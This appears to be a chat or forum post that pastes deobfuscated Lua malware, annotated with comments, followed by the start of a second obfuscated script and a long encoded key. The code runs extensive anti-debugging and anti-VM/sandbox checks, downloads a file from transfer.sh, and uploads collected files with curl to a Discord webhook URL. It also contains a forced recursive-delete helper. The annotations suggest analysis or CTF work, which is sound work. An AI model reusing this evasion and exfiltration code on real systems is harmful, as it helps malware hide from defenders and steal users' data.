  local dec_map = {}
  for n = 0, 15 do
    local idx = permute and perm[n] or n
    dec_map[T[idx + 1]] = n
  end

  t = (t or ""):gsub("%s+", "") -- Remove whitespace from input string
  local out, n, i, step = {}, #t, 1, toklen * 2 -- Output table, input length, index, step size
  local ks -- XOR key stream function

  if key_on then
    -- Initialize XOR key stream generator if key is provided
    local r = M(S(tostring(k) .. "|xor"))
    function ks()
      local v = r() % 256
      return (v - v % 16) / 16, v % 16 -- Return high and low nibbles for XORing
    end
  end

  -- Decode loop
  while n >= i + step - 1 do
    local a = t:sub(i, i + toklen - 1)         -- Get high nibble sequence
    local b = t:sub(i + toklen, i + step - 1) -- Get low nibble sequence
    local hi, lo = dec_map[a], dec_map[b]      -- Decode sequences to nibbles
    if not hi or not lo then break end         -- Invalid sequence found
    if ks then
      -- Apply XOR if key stream exists
      local kh, kl = ks()
      hi = X(hi, kh)
      lo = X(lo, kl)
    end
    out[#out + 1] = string.char(hi * 16 + lo) -- Combine nibbles and add character to output
    i = i + step -- Move to next pair of sequences
  end
  return table.concat(out) -- Return the final decoded string
end

--[[
  Helper variables and functions
]]
local va = {} -- Main table to hold functions/data
local vb = package.config:sub(1, 1) == "\\" -- Check if running on Windows (path separator check)

-- Convert string to lowercase
local function vc(vd) return (vd or ""):lower() end

-- Split string into lines
local ve = function(vf)
  local vg = {}
  if not vf then return vg end
  for vh in vf:gmatch("([^\r\n]+)") do vg[#vg + 1] = vh end
  return vg
end

-- Execute command and read output (simplified popen)
local function vi(vj)
  local vk, vl = pcall(io.popen, vj)
  if not vk or not vl then return ("") end
  local vm = vl:read(("*a")) -- Read all output
  vl:close()
  return vm or ""
end

-- Check if file exists
local function vn(vo)
  local vp = io.open(vo, ("rb"))
  if vp then vp:close(); return true end
  return false
end

-- Find the first existing file from a list
local function vq(vr)
  for vs, vt in ipairs(vr) do if vn(vt) then return vt end end
  return nil
end

-- Get environment variable
local vu = function(vv) return os.getenv(vv) end

-- Get time in milliseconds
local vw = function() return (os.clock() or 0) * 1000 end

-- Append item to table (like table.insert)
local vx = function(vy, vz) vy[#vy + 1] = vz end

-- Configuration for anti-analysis checks
va.fa = { fb = 25, fc = 200000, fd = 2, fe = 1, ff = 2 }

--[[
  Anti-analysis / Anti-debugging Checks
]]

-- Check if debug library is tampered with (metatable check)
local function v0()
  if type(debug) ~= "table" then return false, ("debug lib not found") end
  local v1 = { fg = true, fh = true, fi = true, fj = true, fk = true, fl = true, fm = true, fn = true, fo = true }
  local v2 = debug
  local v3 = pcall(setmetatable, v2, {
    __index = function(v4, v5)
      if v1[v5] then error(("debug lib API disallowed: ") .. v5, 2) end
      return rawget(v2, v5)
    end,
    __newindex = function() error(("debug lib API disallowed modification"), 2) end
  })
  if not v3 or not "table" then end
  return v3 ~= false, ("debug lib metatable protection failed")
end
va.fp = v0

-- Dummy function for hook check
local v6 = function() end

-- Set a debug hook (anti-debugger)
local function v7()
  if type(debug) ~= "table" or not debug.sethook then return false end
  debug.sethook(v6, "cr", 0) -- Set hook for call, return, count
  return true
end
va.fq = v7

-- Get current debug hook (anti-debugger)
local function v8()
  if type(debug) ~= "table" or not debug.gethook then return false, nil, nil end
  local v9, v10, v11 = debug.gethook()
  return v9 ~= nil, v10, v11
end
va.fr = v8

-- Check if the specific dummy hook function is set (anti-debugger)
local function v12()
  if type(debug) ~= "table" or not debug.gethook then return false end
  local v13 = debug.gethook()
  return v13 == v6
end
va.fs = v12

-- Timing check (anti-debugger/VM)
local function v14(v15, v16)
  local v15 = v15 or va.fa.fb -- Default threshold
  local v16 = v16 or va.fa.fc -- Default loop count
  local v17 = vw() -- Start time
  local v18 = 0
  for v19 = 1, v16 do v18 = v18 + v19 end -- Simple busy loop
  local v20 = vw() - v17 -- Elapsed time
  return v15 < v20, v20 -- Return true if time exceeds threshold
end
va.ft = v14

-- Dump function bytecode (used for comparison/integrity check)
local v21 = function(v22)
  local v23, v24 = pcall(string.dump, v22, true) -- Try stripping debug info
  if v23 then return v24 end
  v23, v24 = pcall(string.dump, v22) -- Try without stripping
  return v23 and v24 or nil
end
va.fu = v21

-- Compare function bytecode dump (integrity check)
local function v25(v26, v27)
  local v28 = v21(v26)
  return v28 ~= nil and v28 == v27
end
va.fv = v25

-- List of potentially suspicious modules (anti-analysis)
local v29 = { "ffi", "luasec", "alien", "lanes", ("lpeg") }

-- Check if any suspicious modules are loaded or loadable
local function v30()
  for v31, v32 in ipairs(v29) do
    if package.loaded[v32] then return v32 end -- Check if already loaded
    local v33 = pcall(require, v32) -- Try to load
    if v33 then return v32 end
  end
  return nil
end
va.fw = v30

-- Check for TracerPid in /proc/self/status (Linux anti-debugger)
local function v34()
  local v35 = io.open("/proc/self/status", ("rb"))
  if not v35 then return false end
  local v36 = v35:read(("*a"))
  v35:close()
  local v37 = v36 and v36:match("TracerPid:%s*(%d+)")
  return v37 and tonumber(v37) > 0 or false -- Return true if TracerPid > 0
end
va.fx = v34

-- List of known VM/Sandbox indicators (strings)
local v38 = { "fakenet", "dumbnet", "wireshark", "vmware", "virtualbox", "vbox", "qemu", "xen", "kvm", "microsoft hv", "prl_hypervisor", ("vpc"), "vmmouse", "vm3dgl", "vboxvideo", "vboxguest", "vgauthservice", "vmtoolsd", "vmwareuser", "vmwaretrab", "sandbox", "dbg", "ollydbg", "immunity", "windbg", "x64dbg", "x32dbg", "joebox", "hybrid%-analysis", "qemu%-ga" }

-- Check system info (WMIC on Windows, cat on Linux) for VM indicators
local function v39()
  local v40 = ""
  if vb then -- Windows
    v40 = vi(("wmic csproduct get uuid"))
    if #v40 == 0 then v40 = vi(("wmic path win32_computersystemproduct get uuid")) end
  else -- Linux
    v40 = vi(("cat /sys/class/dmi/id/product_uuid"))
  end
  v40 = vc(v40) -- Convert to lowercase
  for v41, v42 in ipairs(v38) do
    if v40:find(v42, 1, true) then return v42 end -- Found indicator
  end
  return nil
end
va.fy = v39

-- List of known VM/Sandbox related environment variables
local v43 = { "__VMWARE_TOOLBOX_SCRIPT_ERROR_FILE", "__VMWARE_TOOLBOX_SCRIPT_LOG_FILE", "VBOX_INSTALL_PATH", "VBOX_MSI_INSTALL_PATH", "VBOX_USER_HOME", ("windir"), ("PROCESSOR_IDENTIFIER"), ("PROCESSOR_REVISION"), "NUMBER_OF_PROCESSORS", "USERNAME", ("COMPUTERNAME"), ("USERDOMAIN"), "LOGONSERVER", ("SYSTEMROOT"), ("PROGRAMFILES"), ("PROGRAMFILES(X86)"), ("PROGRAMW6432"), ("PROGRAMDATA"), "COMMONPROGRAMFILES", "COMMONPROGRAMFILES(X86)", ("COMMONPROGRAMW6432"), ("PUBLIC"), ("ALLUSERSPROFILE"), ("APPDATA"), "LOCALAPPDATA", ("PSModulePath"), "SystemDrive", "TEMP", "TMP" }

-- Check if any known VM/Sandbox environment variables are set
local function v44()
  for v45, v46 in ipairs(v43) do
    local v47 = vu(v46) -- Get env var value
    if v47 and #v47 > 0 then return v46, v47 end -- Found indicator
  end
  return nil
end
va.fz = v44

-- List of known VM/Sandbox file paths
local v48 = { "drivers\\vmmouse.sys", "drivers\\vmhgfs.sys", "drivers\\vm3dgl.dll", ("drivers\\vboxvideo.sys"), "drivers\\vboxguest.sys", "drivers\\vboxsf.sys", "drivers\\vboxmouse.sys", "drivers\\VBoxGuestAdditions.iso", "drivers\\VBoxGuestAdditions", "drivers\\VBoxGuestAdditions_amd64.exe", ("drivers\\VBoxGuestAdditions_x86.exe"), "drivers\\qemuwga.iso", "drivers\\qemuwga", "drivers\\qxl.sys", "drivers\\qxldd.dll", ("drivers\\xensvc.exe"), "drivers\\xenvd.sys", "drivers\\xennet.sys", "drivers\\xenbus.sys", "drivers\\xenfilt.sys", ("drivers\\balloon.sys"), "drivers\\netkvm.sys", "drivers\\vioinput.sys", "drivers\\vioser.sys", "drivers\\viostor.sys", ("drivers\\prl_mouf.sys"), "drivers\\prl_tg.sys", "drivers\\prl_net.sys", "drivers\\prl_sound.sys", "drivers\\prl_time.sys", ("drivers\\prl_dd.sys"), "drivers\\prl_fs.sys", "drivers\\prl_video.sys", "drivers\\prl_hid_dev", "drivers\\prl_vib", ("drivers\\prl_eth"), "drivers\\prl_parags", "drivers\\prl_v Stor", "drivers\\prl_v Dev", "drivers\\prl_v Bus", ("drivers\\vpcbus.sys"), "drivers\\vpc-s3.sys", "drivers\\vmsrvc.exe", "drivers\\mouse.sys", "drivers\\vmdebug-gdb.dll", ("drivers\\vmware Physical Disk Helper Service.exe"), "system32\\drivers\\vmmouse.sys", "system32\\drivers\\vmhgfs.sys", "system32\\drivers\\vm3dgl.dll", ("system32\\drivers\\vboxvideo.sys"), "system32\\drivers\\vboxguest.sys", "system32\\drivers\\vboxsf.sys", "system32\\drivers\\vboxmouse.sys", ("system32\\drivers\\qemuwga.iso"), "system32\\drivers\\qemuwga", "system32\\drivers\\qxl.sys", "system32\\drivers\\qxldd.dll", ("system32\\drivers\\xensvc.exe"), "system32\\drivers\\xenvd.sys", "system32\\drivers\\xennet.sys", "system32\\drivers\\xenbus.sys", ("system32\\drivers\\xenfilt.sys"), "system32\\drivers\\balloon.sys", "system32\\drivers\\netkvm.sys", "system32\\drivers\\vioinput.sys", ("system32\\drivers\\vioser.sys"), "system32\\drivers\\viostor.sys", "system32\\drivers\\prl_mouf.sys", "system32\\drivers\\prl_tg.sys", ("system32\\drivers\\prl_net.sys"), "system32\\drivers\\prl_sound.sys", "system32\\drivers\\prl_time.sys", "system32\\drivers\\prl_dd.sys", ("system32\\drivers\\prl_fs.sys"), "system32\\drivers\\prl_video.sys", "system32\\drivers\\prl_hid_dev", "system32\\drivers\\prl_vib", ("system32\\drivers\\prl_eth"), "system32\\drivers\\prl_parags", "system32\\drivers\\prl_v Stor", "system32\\drivers\\prl_v Dev", ("system32\\drivers\\prl_v Bus"), "system32\\drivers\\vpcbus.sys", "system32\\drivers\\vpc-s3.sys", "system32\\drivers\\vmsrvc.exe", ("system32\\drivers\\mouse.sys"), "system32\\drivers\\vmdebug-gdb.dll", "system32\\drivers\\vmware Physical Disk Helper Service.exe", "system32\\vboxdisp.dll", ("system32\\vboxhook.dll"), "system32\\vboxmrxnp.dll", "system32\\vboxogl.dll", "system32\\vboxoglarrayspu.dll", ("system32\\vboxoglcrutil.dll"), "system32\\vboxoglerrorspu.dll", "system32\\vboxoglfeedbackspu.dll", "system32\\vboxoglpackspu.dll", ("system32\\vboxoglpassthroughspu.dll"), "system32\\vboxservice.exe", "system32\\vboxtray.exe", "system32\\VBoxControl.exe" }

-- Check if any known VM/Sandbox files exist
local function v49()
  local v50 = {}
  if vb then -- Windows
    local v51 = vc(vi(("wmic path win32_VideoController get Name")))
    local v52 = vc(vi(("wmic path Win32_PNPEntity WHERE \"service like 'VBox%'\" get Name")))
    if #v51 > 0 then vx(v50, v51) end
    if #v52 > 0 then vx(v50, v52) end
  else -- Linux
    for v53, v54 in ipairs({"/sys/class/dmi/id/product_name", "/sys/class/dmi/id/sys_vendor", "/sys/class/dmi/id/board_vendor", ("/sys/class/dmi/id/board_name")}) do
      local v55 = io.open(v54, ("rb"))
      if v55 then
        local v56 = v55:read(("*a")) or ""
        v55:close()
        if #v56 > 0 then vx(v50, vc(v56)) end
      end
    end
    local v57 = io.open("/proc/scsi/scsi", ("rb"))
    if not v57 or not v57:read(("*a")) then end
    local v58 = vc((""))
    if v57 then v57:close() end
    if #v58 > 0 then vx(v50, v58) end
  end
  local v59 = table.concat(v50, ("\r\n")) -- Combine results with newline
  for v60, v61 in ipairs(v48) do
    if v59:find(v61) then return v61 end -- Found indicator
  end
  return nil
end
va.f0 = v49

-- Check CPU core count and memory size (anti-VM/sandbox)
local function v62()
  if vb then -- Windows
    local v63 = vq({"C:\\Windows\\System32\\wbem\\WMIC.exe", "C:\\Windows\\SysWow64\\wbem\\WMIC.exe", "C:\\Windows\\System32\\Wbem\\wmic.exe", ("C:\\Windows\\SysWow64\\Wbem\\wmic.exe")})
    if v63 then return v63 end
  else -- Linux
    local v64 = vc(vi(("uname -a")))
    for v65, v66 in ipairs({"/bin/cat", "/usr/bin/cat", "/sbin/cat", ("/usr/sbin/cat")}) do
      if #v64 > 0 and v64:find(v66, 1, true) then return v66 end
    end
    local v67 = vq({"/usr/bin/grep", "/bin/grep", ("/usr/sbin/grep"), "/sbin/grep"})
    if v67 then return v67 end
  end
  return nil
end
va.f1 = v62

-- Check for low CPU cores or memory (anti-VM/sandbox)
local function v68()
  local v69 = vc(vu(vb and "NUMBER_OF_PROCESSORS" or "NUMBER_OF_PROCESSORS") or "")
  local v70 = vc(vu(vb and "PROCESSOR_ARCHITECTURE" or "PROCESSOR_ARCHITECTURE") or "")
  local v71 = {"core", "memory", "intel", "amd", "cpu", "processor", "win%-", ("linux%")} -- Keywords to check against
  for v72, v73 in ipairs(v71) do
    if #v69 > 0 and v69:find(v73) then return "env " .. v73 end
    if #v70 > 0 and v70:find(v73) then return "env " .. v73 end
  end
  return nil
end
va.f2 = v68

-- Further check for low CPU cores or memory via system commands
local function v74()
  local v75 = tonumber(vu(vb and "__PROCESSOR_NUMBER_OF_CORES__" or "PROCESSOR_COUNT") or "") or 0
  local v76 = v75 > 0 and v75 <= 2 -- Check if core count is 2 or less
  local v77 = false -- Memory check flag
  if vb then -- Windows
    local v78 = vi(("wmic cpu get NumberOfCores"))
    local v79 = tonumber(v78:match("TotalVisibleMemorySize=(%d+)") or "")
    if v79 and v79 > 0 then
      local v80 = v79 / 1024 -- Convert KB to MB
      v77 = v80 < 2048 -- Check if memory is less than 2GB
    end
  else -- Linux
    local v81 = io.open("/proc/meminfo", ("rb"))
    if v81 then
      local v82 = v81:read(("*a")) or ""
      v81:close()
      local v83 = tonumber(v82:match("MemTotal:%s*(%d+)"))
      v77 = v83 and v83 / 1024 < 2048 -- Check if memory < 2GB
    end
  end
  return v76 and "low core count" or v77 and "low memory size" or nil
end
va.f3 = v74

-- Check for existence of common VM file paths
local function v84()
  if vb then -- Windows
    local v85 = vq({"C:\\Windows\\System32\\Drivers\\Vmmouse.sys", "C:\\Windows\\System32\\Drivers\\vmhgfs.sys", "C:\\Windows\\System32\\Drivers\\VBoxGuest.sys", ("C:\\Windows\\System32\\Drivers\\VBoxMouse.sys"), "C:\\Windows\\System32\\Drivers\\VBoxSF.sys", ("C:\\Windows\\System32\\Drivers\\VBoxVideo.sys")})
    if v85 then return v85 end
  else -- Linux
    local v85 = vq({"/usr/bin/VBoxClient", "/usr/bin/VBoxControl", "/usr/bin/VBoxService", ("/sbin/mount.vboxsf")})
    if v85 then return v85 end
  end
  return nil
end
va.f4 = v84

-- Check if LuaJIT FFI is available
local function v86() return type(jit) == "table" and jit.f5 and true or false end

-- Check for specific Windows FFI function (IsDebuggerPresent)
local function v87()
  local v88, v89 = pcall(require, ("ffi"))
  if not v88 then return false end
  v89.f6("BOOL IsDebuggerPresent(void);") -- C definition
  local v90 = v89.f7(("kernel32"))
  if v90.f8() ~= 0 then return true end -- Check if function resolves
  local v91 = v89.f9("intptr_t", 0) -- Pointer
  v90.f10(v90.f11(), v91) -- Call GetProcAddress equivalent
  return v91[0] ~= 0 -- Check if address is non-null
end

-- Check for specific Linux FFI function (ptrace)
local function v92()
  local v93, v94 = pcall(require, ("ffi"))
  if not v93 then return false end
  v94.f6("long ptrace(int request, int pid, void* addr, void* data);") -- C definition
  local v95 = 0 -- PT_TRACE_ME request
  local v96 = v94.f12.f13(v95, 0, nil, nil) -- Call ptrace
  if v96 == -1 then return true end -- -1 indicates already being traced
  return false
end

-- Check using FFI for IsDebuggerPresent (Windows)
function va.f14()
  if not vb or not v86() then return false end -- Only run on Windows with FFI
  local v97, v98 = pcall(v87)
  return v97 and v98 or false
end

-- Check using FFI for ptrace (Linux)
function va.f15()
  if vb or not v86() then return false end -- Only run on Linux with FFI
  local v99, v100 = pcall(v92)
  return v99 and v100 or false
end

-- Aggregate all anti-analysis checks
function va.f16(v101)
  v101 = v101 or {}
  local v102 = {} -- List of detected indicators
  local v103, v104, v105 = 0, 0, 0 -- Counts for different categories
  local v106 = va.fr() -- Get hook status
  if v106 then v103 = v103 + 1; vx(v102, ("debug hook found")) end
  if not va.fs() then -- If dummy hook not found
    va.fq() -- Try setting dummy hook
    if not va.fs() then -- Still not found?
      v103 = v103 + 1; vx(v102, ("failed to set debug hook"))
    end
  end
  local v107, v108 = va.ft(va.fa.fb, va.fa.fc) -- Timing check
  if v107 then v103 = v103 + 1; vx(v102, ("single_step_slow:%dms"):format(v108)) end
  local v109 = va.fw() -- Check loaded modules
  if v109 then v103 = v103 + 1; vx(v102, ("suspicious module loaded: ") .. v109) end
  if not vb and va.fx() then -- Linux TracerPid check
    v103 = v103 + 1; vx(v102, ("debugger detected via tracerpid"))
  end
  local v110 = va.fz() -- Check suspicious env vars
  if v110 then v103 = v103 + 1; vx(v102, ("suspicious environment variable found: ") .. v110) end
  if vb and va.f14() then -- Windows FFI IsDebuggerPresent check
    v103 = v103 + 1; vx(v102, (("debugger detected via ffi isdebuggerpresent")))
  end
  if not vb and va.f15() then -- Linux FFI ptrace check
    v103 = v103 + 1; vx(v102, (("debugger detected via ffi ptrace")))
  end
  local v111 = va.fy() -- Check VM indicators in system info
  if v111 then v104 = v104 + 1; vx(v102, ("vm indicator found in system info: ") .. v111) end
  local v112 = va.f0() -- Check VM indicators in hardware names
  if v112 then v105 = v105 + 1; vx(v102, ("vm indicator found in hardware name: ") .. v112) end
  local v113 = va.f1() -- Check VM file paths
  if v113 then v105 = v105 + 1; vx(v102, ("vm indicator found in file path: ") .. v113) end
  local v114 = va.f2() -- Check VM indicators in env vars (again?)
  if v114 then v104 = v104 + 1; vx(v102, ("vm indicator found in env var: ") .. v114) end
  local v115 = va.f3() -- Check low core/memory via system commands
  if v115 then v104 = v104 + 1; vx(v102, v115) end
  local v116 = va.f4() -- Check specific VM file paths
  if v116 then v104 = v104 + 1; vx(v102, ("vm indicator found in file path: ") .. v116) end

  local v117 = v103 + v104 + v105 -- Total indicator count
  -- Check if counts exceed thresholds
  local v118 = v103 >= (v101.fe or va.fa.fe) or v104 + v105 >= (v101.fd or va.fa.fd) or v117 >= (v101.ff or va.fa.ff)

  return {
    f17 = v118, -- Final detection flag
    f18 = v117, -- Total count
    f19 = v103, -- Debugger/Hook count
    f20 = v104, -- VM/Env count
    f21 = v105, -- VM/File count
    f22 = v102, -- List of indicators found
    f23 = vb and "windows" or "linux" -- OS detected
  }
end

-- Function to handle detection result (e.g., exit, sleep, no-op)
function va.f24(v119)
  v119 = v119 or { f25 = "exit", f26 = 1 } -- Default action: exit with code 1
  local v120 = va.f16(v119.f27 or {}) -- Run checks
  if v120.f17 then -- If detected
    local v121 = v119.f25 or "exit"
    if v121 == "exit" then
      os.exit(v119.f26 or 1) -- Exit
    elseif v121 == "sleep" then
      if vb then vi("timeout /t " .. (v119.f28 or 10) .. " /nobreak > nul") -- Windows sleep
      else vi("sleep " .. (v119.f28 or 10)) end -- Linux sleep
    elseif v121 == "loop" then -- Infinite loop
      while true do end
    elseif v121 == "noop" then -- Do nothing
    end
  end
  return v120 -- Return detection results
end

-- Disable debug library hooks immediately
function va.f29()
  pcall(va.fp) -- Protect debug lib metatable
  pcall(va.fq) -- Set dummy hook
end

--[[
  Main Execution Logic
]]
local v122 = va.f16() -- Run initial checks
if v122.f17 then os.exit() end -- Exit if detected

-- Helper: Quote string for command line
local function qc(s) return '"' .. s:gsub('"', ('\\"')) .. '"' end
-- Helper: Backslash quote (seems unused?)
local function qp(s) return '`' .. s:gsub('`', ('``')) .. '`' end

-- Check if curl exists
local function ht(c)
  local f = io.popen(c .. " --help > nul 2>&1 && echo OK")
  local o = f:read("*a") or ""
  f:close()
  return o:find("OK", 1, true) -- Check if "OK" is in output
end

-- Run command and get output
local function rc(c)
  local f = io.popen(c .. " 2>&1")
  local o = f:read("*a") or ""
  f:close()
  return o
end

-- Upload function using curl (likely broken argument usage)
function uf(fp, u, us, ps)
  local f = io.open(fp, ("rb")) -- Check if file exists
  if not f then return false end
  f:close()
  if not ht(("curl")) then os.exit(); return false, nil, ("curl not found") end -- Check for curl

  local t = 30 -- Timeout
  -- Construct curl command for GET request (seems to just check connectivity?)
  local pc = table.concat({ "curl", "-connect-timeout " .. t, "-m " .. t, "-k", "-w HTTPSTATUS:%{http_code}", qc(u) }, (" "))
  local pr = rc(pc) or ""
  local pb, pcd = pr:match("^(.*)HTTPSTATUS:(%d%d%d)$") -- Extract status code
  if not pcd then os.exit(1) end -- Exit if no status code

  -- Construct curl command for POST (file upload)
  local cmd = table.concat({
    "curl", "-connect-timeout " .. t, "-m " .. t, "-k",
    "-w HTTPSTATUS:%{http_code}",
    "-F " .. qc(us .. "=" .. ps), -- User/Pass as form data
    "-F " .. qc("file=@" .. fp),   -- File upload syntax
    qc(u)                          -- URL
  }, (" "))
  local r = rc(cmd) or ""
  local b, c = r:match("^(.*)HTTPSTATUS:(%d%d%d)$") -- Extract status code
  if c then
    local n = tonumber(c)
    return n and n >= 200 and n < 300, n, b or "" -- Return success based on 2xx status
  end
  return false, nil, r
end

-- Helper: Convert address string to hex number string
local ha = function(s)
  local i = s:find("0x", 1, true) or s:find("0X", 1, true)
  if not i then return "0" end
  i = i + 2
  local j = i
  while j <= #s do
    local ch = s:sub(j, j)
    local is_hex = (ch >= "0" and ch <= "9") or (ch >= "a" and ch <= "f") or (ch >= "A" and ch <= "F")
    if not is_hex then break end
    j = j + 1
  end
  if j == i then return "0" end
  return s:sub(i, j - 1)
end

-- Seed RNG based on table address and time
do
  local addrstr = tostring({})
  local hx = ha(addrstr)
  local jitter = math.floor(os.clock() * 1000000)
  math.randomseed(os.time() + tonumber(hx, 16) + jitter)
  math.random(); math.random(); math.random() -- Discard first few random numbers
end

-- Check if file exists (redundant?)
local function fe(p)
  local f = io.open(p, ("rb"))
  if f then f:close(); return true end
  return false
end

-- Join path components using the correct separator
local function jo(a, b)
  local la = a:sub(-1)
  if la == "\\" or la == "/" then return a .. b end
  return a .. "\\" .. b
end

-- Execute command (redundant?)
local function ex(c)
  local r = os.execute(c)
  if type(r) == "boolean" then return r == 0 end
  if type(r) == "number" then return r end
  return false
end

-- Execute delete commands (rmdir/del or rm)
local function ed(d)
  return ex("rmdir /s /q " .. d .. " && del /q " .. d .. " || rm -rf " .. d)
end

-- Quote string (redundant?)
local function q(s) return '"' .. s:gsub('"', ('\\"')) .. '"' end

-- Download file using curl
local function dl(u, o)
  return ex("curl -k -o " .. q(o) .. " " .. q(u))
end

-- Generate random hex string of length n
local rh = function(n)
  local t = {}
  for i = 1, n do t[i] = string.format("%x", math.random(0, 15)) end
  return table.concat(t)
end

-- Generate two random hex strings (8 chars each)
local function rn() return rh(8) .. rh(8) end

-- Trim leading whitespace
local function ltrim(s)
  local i = 1
  while i <= #s do
    local c = s:sub(i, i)
    if c ~= " " and c ~= "\r\n" then break end
    i = i + 1
  end
  return s:sub(i)
end

-- Trim trailing whitespace
local function rtrim(s)
  local j = #s
  while j >= 1 do
    local c = s:sub(j, j)
    if c ~= " " and c ~= "\r\n" then break end
    j = j - 1
  end
  return s:sub(1, j)
end

-- Trim leading and trailing whitespace
local function trim(s) return rtrim(ltrim(s)) end

-- Iterate over lines in a string
local for_each_line = function(s, fn)
  local i = 1
  while i <= #s do
    local j = s:find("\n", i, true) or #s + 1
    fn(s:sub(i, j - 1))
    i = j + 1
  end
end

-- Determine temporary directory path
local tp = os.getenv(("TEMP")) or "/tmp/"
-- Create a unique subdirectory within the temp path
local st = jo(tp, rn())
-- Define the target path for the downloaded/archived file
local ou = jo(st, rn() .. ".rar")
ed(st) -- Ensure the temp subdirectory doesn't exist initially

-- Download flag.txt
if not dl("https://transfer.sh/flag.txt", ou) or not fe(ou) then os.exit(1) end

-- Archive creation/upload (BROKEN LOGIC)
local function bd(z, b, n, p)
  local s = b .. "\\" .. n .. "\\" -- Uses content 'b' (flag.txt content) as part of a path!
  local o = st .. "\\" .. os.getenv(("USERNAME")) .. "-" .. n .. ".rar" -- Archive name uses username
  -- Constructs a 'rar' command, but likely fails because 'z' (ou path) isn't the rar executable
  -- and 's' is probably an invalid path constructed from the flag content.
  local cmd = table.concat({z, "a", "-ep" .. p .. "", q(o), q(s .. "*.r*"), ">", ("nul")}, (" "))
  os.execute(cmd)
  return o
end

local pc = "flag.txt" -- Define filename (used later?)
local h = io.popen(pc, ("rb")) -- Tries to open "flag.txt" as if it were a command? This will likely fail.
if h then
  local o = h:read(("*a*l*n")) -- Read output (likely empty/error)
  h:close()
  local u, cu = {}, nil -- Table 'u' seems intended to hold CPU info, but likely remains empty.
  -- The following loop iterates over the (likely empty/error) output 'o'
  for_each_line(o, function(l)
    -- This block attempts to parse CPU info, but won't run if 'o' is empty.
    if l:sub(1, 4) == "    " then
      local colon = l:find(":", 1, true)
      if colon and u.c then
        local v = trim(l:sub(colon + 1))
        u.c.s = v -- Store value?
        local f = st .. "\\" .. os.getenv(("USERNAME")) .. "-" .. u.c.n .. ".txt" -- Construct a .txt path
        local pc2 = "echo " .. u.c.s .. " > " .. f .. "" -- Command to write value to .txt file
        os.execute(pc2)
        uf(f, "https://discord.com/api/webhooks/11111111111111111/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "username", "password") -- Attempts to upload the .txt file
        o = bd(ou, "flag.txt", u.c.n, u.c.s) -- Calls the broken archive function again
        uf(o, "https://discord.com/api/webhooks/11111111111111111/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", "username", "password") -- Attempts to upload the .rar file
      end
    else
      local colon = l:find(":", 1, true)
      if colon then
        local v = trim(l:sub(colon + 1))
        u.c = u.c or {}
        u.c.n = v -- Store key?
        u[v] = u.c
      end
    end
  end)
  u.c = nil -- Clear temp value
end

run this to get the decoded checkes

image.png

๐Ÿ“Ž2script.decoded17KB
do
  local exedir = (function()
    local p = arg and arg[0] or ""
    p = p:match("^(.*)[/\\]") or "."
    return p
  end)()
  local sep = package.config:sub(1, 1)
  local function J(a, b)
    return a .. sep .. b
  end
  local d = J(exedir, "deps")
  local luaPaths = table.concat({
    J(exedir, "?.lua"),
    J(exedir, "?" .. sep .. "init.lua"),
    J(d, "?.lua"),
    J(d, "?" .. sep .. "init.lua")
  }, ";")
  local dllPaths = table.concat({
    J(exedir, "?.dll"),
    J(d, "?.dll"),
    J(d, "?" .. sep .. "?.dll")
  }, ";")
  package.path = luaPaths .. ";" .. package.path
  package.cpath = dllPaths .. ";" .. package.cpath
end
local __K = "RR3IL6YJTKWSXB3I6KRTAAVBFXUV2Q5BBDNBH5UTPAPCHZXKTJNYG5PALFL5VXAS2OVF3IPATW223ITWHHYEFUAAYXFJLO6IN662OXG33IBFO5XORQJFW24PFIWF4BWMVAAZ3LW3VPPKZLI4DQBBHFI6NRF4X3TCWK2FUK7VQXBHOCAZNDKZNUNIPOD3YRBWZDRWBHKZGQFXNZ6274TMH3I5D6JXS4IZDS33AGD45AWXC4GLBPG4L2S57EQ5B2Q5CFSFD4GF6BI5IMELFKIEZQXNN3FSP2XDCXF4453L4AUJE7TJUED7TCMMTAJ3HCLWOPUIBBTUXSI5N2X2BZ2BIKV4SC4TUBYHDEIEDCUC3C7ZKXHP3LBCP4BCTOXIJ27W7E5WMXGYV7A2KQMWDLZ6GROH2Y6LMWNG7VXXCP5OEKFBTXCCWVPI66LTGGQ5RK3SJJBBV4SN2JBQ5UGY7ZU5VX2FVTGOW2YNBRUHNJKO3JTKPPJX72RFRJ47EX7TXZPG7WJ4MQKFIAPCGVQD2LNKN6MRG5PFMDMM2GIXWBQKHUB37F4DMGDIQNU5PIKDTA6HI7NPC3YMNYALOXT25YQLLOAEGZ2H3FXOL5VD4O3G35XF22Q7SHAGIBH3JG4IQARIXY47HJFGU6P6EB3NZLHLTHFFLU5OYXITWPYTO2QRPT6A2FVO6PWQAIU5FXMWTBOJRLDGTJRLDQ72BAQFLBSUEYRZKY5O4ZHTQZRU3D7TIR7QTYJBKAG47YRSMWNYMHPUPG23LILCKB2TUWKBKGYOP2DQKT2AHHQM35L4LNO57BLRR65BHBO7IUO36ZRFKE3GBJSZUPZETHB32K7ONGKFSZYAIU677DEHNPYQYQSBCFQZI5RSSQNSVQ4YE64UVIPNWGVS5LCYELT5BFQC4QU7GXJLURGUUUIYN3JF2QHLJQ2V3ZMEO7Q3SFUMLLTXR4GVAAIAVPDGYCS62HS5IXWP4QFNLGBYSIKQ6OHZJSJENFETMLZP6VLJQNJUHJR3FIIQUW4J4W7QEYOTI6LVZ6YEQRNJIIQKWD3QQYCWIYSRHRGR7ZVWFTPSDQS37CA5W5J2PUMSSV3I74FZOJAQLAFG5YISBJQBKRT2KJSO6ZECXFZSOFHYEHMGOEDOSDJPOFUEYWNEH4NWMQAZ462FEU3DJM2Q6EO4FSZNN66CXN2QOF4TNLDYA2BM3HMQSHVT5DQJM5LJV4OXLS32H2PVX3LU4BDSRMOECPV4QQH4YTD7RMBOIOPW3RXCCSKXRCYXKUBECGLYGPO7SO7RBYCQFEUG6UYWUQZFZSL7WHPYOTNXD7BLWDFJ7JAXBYVNOLONJEWQENY5HI2ZPBZ2PHAGF65DFBK7FXD72KRNSMNYSHSCG72TZRYZ7CE4VBYPB56SIXTS3G3E25JIRVIAUZLAXI4P2H26ZNOHKNHFYF6YPKXFXCE55PR4WLZ5432QSMBMSTPDRZESHOP5HBZLCBNJ5M4DZNMV5USRAH34IVFMTHLL5F6CUUCVTNL6OUZLMXMWCAJ3L2CUGH6BBWBBWE4LIOVPGQ5W2QWJKTLUWITFBMVD2GW5NGN27VK4HV7N57FIHVSGZPHHUOFB7JKB6SDP2LVEYHOLGUGQ6IUC3AKFX65FCWD6WOHESIK2JF7R6CPWCODTBBYORV2CCEUU57OO43I